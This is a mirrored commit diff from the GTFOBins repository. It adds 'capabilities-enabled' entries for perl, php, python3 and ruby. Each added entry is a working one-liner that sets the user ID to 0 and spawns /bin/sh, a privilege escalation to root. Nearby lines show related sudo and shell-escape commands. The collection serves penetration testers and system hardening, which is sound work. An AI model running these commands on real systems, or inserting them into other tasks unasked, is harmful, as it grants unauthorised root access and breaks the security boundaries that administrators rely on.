mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Add capabilities to perl, php, python3, and ruby
This commit is contained in:
parent
e72d7e3d19
commit
c7375411b7
@ -12,4 +12,6 @@ functions:
|
|||||||
- code: ./perl -e 'exec "/bin/sh";'
|
- code: ./perl -e 'exec "/bin/sh";'
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: sudo perl -e 'exec "/bin/sh";'
|
- code: sudo perl -e 'exec "/bin/sh";'
|
||||||
|
capabilities-enabled:
|
||||||
|
- code: ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
|
||||||
---
|
---
|
||||||
|
@ -46,4 +46,8 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
CMD="/bin/sh"
|
CMD="/bin/sh"
|
||||||
sudo php -r "system('$CMD');"
|
sudo php -r "system('$CMD');"
|
||||||
|
capabilities-enabled:
|
||||||
|
- code: |
|
||||||
|
CMD="/bin/sh"
|
||||||
|
./php -r "posix_setuid(0); system('$CMD');"
|
||||||
---
|
---
|
||||||
|
@ -34,4 +34,6 @@ functions:
|
|||||||
- code: ./python3 -c 'import os; os.system("/bin/sh -p")'
|
- code: ./python3 -c 'import os; os.system("/bin/sh -p")'
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: sudo python3 -c 'import os; os.system("/bin/sh")'
|
- code: sudo python3 -c 'import os; os.system("/bin/sh")'
|
||||||
|
capabilities-enabled:
|
||||||
|
- code: ./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
|
||||||
---
|
---
|
||||||
|
@ -29,4 +29,6 @@ functions:
|
|||||||
- code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
|
- code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: sudo ruby -e 'exec "/bin/sh"'
|
- code: sudo ruby -e 'exec "/bin/sh"'
|
||||||
|
capabilities-enabled:
|
||||||
|
- code: ./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user